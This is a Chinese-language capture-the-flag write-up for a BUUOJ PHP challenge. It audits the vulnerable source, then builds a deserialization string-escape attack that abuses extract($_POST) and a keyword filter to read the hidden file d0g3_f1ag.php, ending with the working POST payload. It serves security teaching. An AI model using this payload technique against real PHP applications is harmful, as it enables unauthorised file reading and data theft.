题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,一个源码超链接,点击后出现源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
第二步:代码审计
- 页面获取f参数,并设置$_SESSION对象的user,function成员变量
- 获取POST方式提交的参数,将对象_SESSION进行序列化后使用 filter函数进行过滤
- 对function进行判断,若为highlight_file,则把源码高亮;若为phpinfo则执行语句phpinfo();若为show_image,则将过滤后的序列化对象进行反序列化,并将img成员变量解码后去读取指定的文件名输出。
第三步:访问phpinfo
在第二步中最后的if语句提示要查看phpinfo,发现一个异常,auto_append_file说明要在页面底部加载d0g3_f1ag.php文件但是没有,说明要我们去读取这个文件
第四步:读取d0g3_f1ag.php文件
-
在第二步中,若我们将img成员变量指定为d0g3_f1ag.php文件就可以读出,但是源码中img不能由我们设置,一旦指定就会sha加密,之后使用base64解码就会出错
-
由于页面使用了extract($_POST);通过POST提交重名的
_SESSION
对象,可以覆盖掉之前的_SEEION
对象值,由此来指定img为d0g3_f1ag.php -
后面序列化对象时filter函数会将我们指定的d0g3_f1ag.php中f1ag替换为空。
-
由于序列化成的字符串再经过反序列化变成对象时,会按照序列化中指定的长度读取键名和值,我们可以利用filter函数将成员名由有效值转换为空,这样反序列化后按照长度读取时会出错以此来绕过对flag的检测
第五步:构造漏洞
- 正常情况下,序列化是:
O:4:"Test":3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
<?php
class Test {
var $user = 'guest';
var $function = 'show_image';
var $img = "Z3Vlc3RfaW1nLnBuZw==";
}
$a = serialize(new Test);
echo $a;
?>
- 但是我们想要的是:O:4:“Test”:3:{s:4:“user”;s:5:“guest”;s:8:“function”;s:10:“show_image”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
<?php
class Test {
var $user = 'guest';
var $function = 'show_image';
var $img = "ZDBnM19mMWFnLnBocA==";
}
$a = serialize(new Test);
echo $a;
?>
-
我们可以将user的值设置为flagflag,得到的是:
O:4:"Test":3:{s:4:"user";s:8:"flagflag";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
但经过过滤后变成了O:4:"Test":3:{s:4:"user";s:8:"";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
,user后面的s还是8,也就是说反序列化后会按照所给的8往后读取8位,但这样就破坏了整体结构,基于此,我们可以在function的值构造闭合,让user往后多读,让function后的值构造出本不存在的值
-
基于上图,我们可以让user把后面的读取后,让function里面的闭合生效,框起来的有23位,但是过滤的是flag必须为4的倍数,需要在function里多加一位无效值,所以最后function的值为:
a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
,这样反序列化时使用的是:O:4:"Test":3:{s:4:"user";s:24:"";s:8:"function";s:75:"a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
但是读取到下图所示的结束符时,由于没有真正读完,还是会结束读取,将后面的内容做无效处理,这样就可以读取d0g3_f1ag.php。
第六步:读取d0g3_f1ag.php
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}